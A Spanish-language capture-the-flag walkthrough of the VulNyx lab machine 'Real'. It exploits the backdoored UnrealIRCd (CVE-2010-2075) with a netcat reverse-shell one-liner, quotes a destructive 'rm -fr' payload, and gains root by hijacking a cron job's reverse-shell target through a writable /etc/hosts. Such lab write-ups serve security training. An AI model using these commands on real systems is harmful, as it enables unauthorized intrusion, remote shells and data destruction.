π΅ NYX - Real
#vulnyx
#nyx
#linux
#unrealircd
#cve-2010-2075
#cron
Agosto 9, 2023 by Miguel R. (d4t4s3c)
Information
Real es una mΓ‘quina Linux de la plataforma VulNyx, tiene un nivel de dificultad bajo y fue creada por el usuario d4t4s3c.
- Acceso inicial: Se detecta un UnrealIRCd 3.2.8.1 vulnerable a CVE-2010-2075, abuso de la vulnerabilidad y obtengo una shell.
- Escalada de privilegios: Existe una tarea cron y moficando el archivo /etc/hosts se obtiene una shell como root.
Enumeration
Nmap
TCP
β― nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 12:56 CET
Nmap scan report for 192.168.1.59
Host is up (0.00072s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6667/tcp open irc
6697/tcp open ircs-u
8067/tcp open infi-async
β― nmap -sVC -p22,80,6667,6697,8067 192.168.1.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 12:56 CET
Nmap scan report for 192.168.1.59
Host is up (0.00036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 db:28:2b:ab:63:2a:0e:d5:ea:18:8d:2f:6d:8c:45:2d (RSA)
| 256 cd:a1:c3:2e:20:f0:f3:f6:d3:9b:27:8e:9a:2d:26:11 (ECDSA)
|_ 256 db:98:69:a5:8b:bd:05:86:16:3d:9c:8b:30:7b:a3:6c (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
Shell (server)
6667/TCP (UnrealIRCd)
Detecto que la versiΓ³n es vulnerable con el script NSE irc-unrealircd-backdoor
de nmap
β― nmap -p6667 --script="irc-unrealircd-backdoor" 192.168.1.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-12 12:59 CET
Nmap scan report for 192.168.1.59
Host is up (0.00041s latency).
PORT STATE SERVICE
6667/tcp open irc
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
Encuentro el siguiente exploit que parece afectar a la versiΓ³n
(https://www.exploit-db.com/exploits/13853)
Revisando el cΓ³digo del exploit veo que la vulnerabilidad es simple
my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *';
Reverse Shell
EnvΓa vΓa socket la cadena AB
+ ;
+ COMANDO
, con netcat envΓo el payload y obtengo una shell como usuario server
β― echo "AB;nc -e /bin/sh 192.168.1.10 443" |nc 192.168.1.59 6667
:irc.foonet.com NOTICE AUTH :*** Looking up your hostname...
:irc.foonet.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
β― nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.59] 41528
id ; hostname
uid=1000(server) gid=1000(server) groups=1000(server)
real
Privilege Escalation
Cron
Uso pspy para monitorizar procesos y detecto que cada minuto se ejecuta el script /opt/task
server@real:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
ββββββ ββββββ ββββββ βββ βββ
ββββ ββββββ β ββββ ββββββ βββ
ββββ βββββ ββββ ββββ ββββ βββ βββ
βββββββ β β ββββββββββ β β βββββ
ββββ β ββββββββββββββ β β β βββββ
ββββ β ββ βββ β βββββ β β βββββ
ββ β β ββ β βββ β βββ βββ
ββ β β β ββ β β ββ
β β β
β β
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/03/12 08:18:01 CMD: UID=0 PID=971 | /usr/sbin/CRON -f
2025/03/12 08:18:01 CMD: UID=0 PID=974 | /bin/bash /opt/task
Analizo /opt/task
y veo que envΓa un ping al dominio shelly.real.nyx
, si ese dominio se encuentra vivo enviarΓ‘ una reverse shell a dicho dominio por el puerto TCP 65000
#!/bin/bash
domain='shelly.real.nyx'
function check(){
timeout 1 bash -c "/usr/bin/ping -c 1 $domain" > /dev/null 2>&1
if [ "$(echo $?)" == "0" ]; then
/usr/bin/nohup nc -e /usr/bin/sh $domain 65000
exit 0
else
exit 1
fi
}
check
Dispongo de permisos de escritura en el archivo /etc/hosts
, agrego el dominio shelly.real.nyx
para que apunte a mi IP
server@real:~$ cat /etc/hosts
127.0.0.1 localhost
1.2.3.4 real
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.1.10 shelly.real.nyx
Me pongo en escucha por el puerto 65000 y obtengo una shell como root
β― nc -lvnp 65000
listening on [any] 65000 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.59] 55392
id ; hostname
uid=0(root) gid=0(root) groups=0(root)
real
Flags
Ya como usuario root
puedo leer las flags user.txt
y root.txt
root@real:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
3b7fb***************************
593ba***************************
Hasta aquΓ la resoluciΓ³n de la mΓ‘quina Real.
Happy Hacking!
